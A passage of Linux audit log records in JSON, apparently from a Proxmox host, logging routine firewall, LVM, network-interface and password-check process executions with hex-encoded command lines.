rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634226,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964634.226:61875): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965985973,"@rawstring":"node=pve type=PATH msg=audit(1781965985.973:67947): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964634184,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964634.184:61874): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965985973,"@rawstring":"node=pve type=PATH msg=audit(1781965985.973:67947): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.090:61873): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985970,"@rawstring":"node=pve type=PATH msg=audit(1781965985.970:67946): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.089:61872): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985970,"@rawstring":"node=pve type=PATH msg=audit(1781965985.970:67946): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.089:61871): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=PATH msg=audit(1781965985.969:67945): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.083:61870): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=PATH msg=audit(1781965985.969:67945): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.083:61869): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985969,"@rawstring":"node=pve type=PATH msg=audit(1781965985.969:67944): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964630083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964630.083:61868): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965985964,"@rawstring":"node=pve type=PATH msg=audit(1781965985.964:67943): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.625:61867): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965985964,"@rawstring":"node=pve type=PATH msg=audit(1781965985.964:67943): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.622:61866): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965985964,"@rawstring":"node=pve type=PATH msg=audit(1781965985.964:67943): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.622:61865): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965985958,"@rawstring":"node=pve type=PATH msg=audit(1781965985.958:67942): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.622:61864): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965985958,"@rawstring":"node=pve type=PATH msg=audit(1781965985.958:67942): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.617:61863): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965985950,"@rawstring":"node=pve type=PATH msg=audit(1781965985.950:67941): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625611,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.611:61862): proctitle=\"ip6tables-save\""} {"@timestamp":1781965985950,"@rawstring":"node=pve type=PATH msg=audit(1781965985.950:67941): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625604,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.604:61861): proctitle=\"iptables-save\""} {"@timestamp":1781965985944,"@rawstring":"node=pve type=PATH msg=audit(1781965985.944:67940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625598,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.598:61860): proctitle=\"ip6tables-save\""} {"@timestamp":1781965985944,"@rawstring":"node=pve type=PATH msg=audit(1781965985.944:67940): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625591,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.591:61859): proctitle=\"iptables-save\""} {"@timestamp":1781965985936,"@rawstring":"node=pve type=PATH msg=audit(1781965985.936:67939): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.588:61858): proctitle=\"ebtables-restore\""} {"@timestamp":1781965985936,"@rawstring":"node=pve type=PATH msg=audit(1781965985.936:67939): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.585:61857): proctitle=\"ebtables-restore\""} {"@timestamp":1781965985924,"@rawstring":"node=pve type=PATH msg=audit(1781965985.924:67938): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625581,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.581:61856): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965985924,"@rawstring":"node=pve type=PATH msg=audit(1781965985.924:67938): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625575,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.575:61855): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PATH msg=audit(1781965984.996:67937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625570,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.570:61854): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PATH msg=audit(1781965984.996:67937): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.566:61853): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PATH msg=audit(1781965984.996:67936): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.561:61852): proctitle=697073657400726573746F7265"} {"@timestamp":1781965984996,"@rawstring":"node=pve type=PATH msg=audit(1781965984.996:67935): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625554,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.554:61851): proctitle=\"ip6tables-save\""} {"@timestamp":1781965984984,"@rawstring":"node=pve type=PATH msg=audit(1781965984.984:67934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.548:61850): proctitle=\"iptables-save\""} {"@timestamp":1781965984984,"@rawstring":"node=pve type=PATH msg=audit(1781965984.984:67934): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.544:61849): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965984984,"@rawstring":"node=pve type=PATH msg=audit(1781965984.984:67933): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.541:61848): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965984983,"@rawstring":"node=pve type=PATH msg=audit(1781965984.983:67932): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.541:61847): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965984095,"@rawstring":"node=pve type=PATH msg=audit(1781965984.095:67931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625541,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.541:61846): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965984095,"@rawstring":"node=pve type=PATH msg=audit(1781965984.095:67931): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.536:61845): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965984073,"@rawstring":"node=pve type=PATH msg=audit(1781965984.073:67930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625530,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.530:61844): proctitle=\"ip6tables-save\""} {"@timestamp":1781965984073,"@rawstring":"node=pve type=PATH msg=audit(1781965984.073:67930): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.523:61843): proctitle=\"iptables-save\""} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PATH msg=audit(1781965979.977:67929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.518:61842): proctitle=69707365740073617665"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PATH msg=audit(1781965979.977:67929): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.512:61841): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PATH msg=audit(1781965979.977:67928): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625505,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.505:61840): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965979977,"@rawstring":"node=pve type=PATH msg=audit(1781965979.977:67927): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.075:61839): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PATH msg=audit(1781965979.971:67926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.075:61838): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PATH msg=audit(1781965979.971:67926): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.075:61837): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PATH msg=audit(1781965979.971:67925): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.065:61836): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965979971,"@rawstring":"node=pve type=PATH msg=audit(1781965979.971:67924): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.065:61835): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975910,"@rawstring":"node=pve type=PATH msg=audit(1781965975.910:67923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964625065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964625.065:61834): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975910,"@rawstring":"node=pve type=PATH msg=audit(1781965975.910:67923): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964624.124:61833): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PATH msg=audit(1781965975.906:67922): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964624087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964624.087:61832): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PATH msg=audit(1781965975.906:67922): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623458,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964623.458:61830): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PATH msg=audit(1781965975.906:67921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964623.455:61829): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975906,"@rawstring":"node=pve type=PATH msg=audit(1781965975.906:67921): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623420,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964623.420:61828): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975905,"@rawstring":"node=pve type=PATH msg=audit(1781965975.905:67920): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964623418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964623.418:61827): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975900,"@rawstring":"node=pve type=PATH msg=audit(1781965975.900:67919): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.057:61826): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975900,"@rawstring":"node=pve type=PATH msg=audit(1781965975.900:67919): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.057:61825): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975900,"@rawstring":"node=pve type=PATH msg=audit(1781965975.900:67919): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620057,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.057:61824): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975891,"@rawstring":"node=pve type=PATH msg=audit(1781965975.891:67918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.045:61823): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975891,"@rawstring":"node=pve type=PATH msg=audit(1781965975.891:67918): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.045:61822): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975884,"@rawstring":"node=pve type=PATH msg=audit(1781965975.884:67917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964620045,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964620.045:61821): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965975884,"@rawstring":"node=pve type=PATH msg=audit(1781965975.884:67917): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619811,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964619.811:61819): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975877,"@rawstring":"node=pve type=PATH msg=audit(1781965975.877:67916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619809,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964619.809:61818): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975877,"@rawstring":"node=pve type=PATH msg=audit(1781965975.877:67916): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619773,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964619.773:61817): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975867,"@rawstring":"node=pve type=PATH msg=audit(1781965975.867:67915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964619769,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964619.769:61816): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975867,"@rawstring":"node=pve type=PATH msg=audit(1781965975.867:67915): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964616076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964616.076:61814): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781965975861,"@rawstring":"node=pve type=PATH msg=audit(1781965975.861:67913): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 